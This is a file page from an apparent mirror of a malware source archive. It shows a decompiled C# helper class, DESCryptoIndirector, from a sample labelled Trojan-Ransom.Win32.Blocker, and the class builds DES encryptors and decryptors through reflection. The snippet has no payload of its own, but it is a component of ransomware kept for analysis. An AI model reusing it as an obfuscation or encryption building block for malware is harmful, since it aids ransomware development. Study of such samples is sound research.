mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
45 lines
1.6 KiB
C#
45 lines
1.6 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: SmartAssembly.Zip.DESCryptoIndirector
|
|
// Assembly: WinData, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 162322D2-FE3A-45B9-99E4-3519564A1D4D
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Ransom.Win32.Blocker.kkro-82cd479bb60c59525668e5016b400a8cc48f04b14a5c6cad5e2c6046b301e79d.exe
|
|
|
|
using System;
|
|
using System.Reflection;
|
|
using System.Security.Cryptography;
|
|
|
|
namespace SmartAssembly.Zip
|
|
{
|
|
public sealed class DESCryptoIndirector : IDisposable
|
|
{
|
|
private readonly Type m_DcspType;
|
|
private readonly object m_DESCryptoServiceProvider;
|
|
|
|
public DESCryptoIndirector()
|
|
{
|
|
this.m_DcspType = Assembly.Load("mscorlib").GetType("System.Security.Cryptography.DESCryptoServiceProvider");
|
|
this.m_DESCryptoServiceProvider = Activator.CreateInstance(this.m_DcspType);
|
|
}
|
|
|
|
public ICryptoTransform GetDESCryptoTransform(
|
|
byte[] key,
|
|
byte[] iv,
|
|
bool decrypt)
|
|
{
|
|
this.m_DcspType.GetProperty("Key").GetSetMethod().Invoke(this.m_DESCryptoServiceProvider, new object[1]
|
|
{
|
|
(object) key
|
|
});
|
|
this.m_DcspType.GetProperty("IV").GetSetMethod().Invoke(this.m_DESCryptoServiceProvider, new object[1]
|
|
{
|
|
(object) iv
|
|
});
|
|
return (ICryptoTransform) this.m_DcspType.GetMethod(decrypt ? "CreateDecryptor" : "CreateEncryptor", new Type[0]).Invoke(this.m_DESCryptoServiceProvider, new object[0]);
|
|
}
|
|
|
|
public void Clear() => this.m_DcspType.GetMethod(nameof (Clear)).Invoke(this.m_DESCryptoServiceProvider, new object[0]);
|
|
|
|
public void Dispose() => this.Clear();
|
|
}
|
|
}
|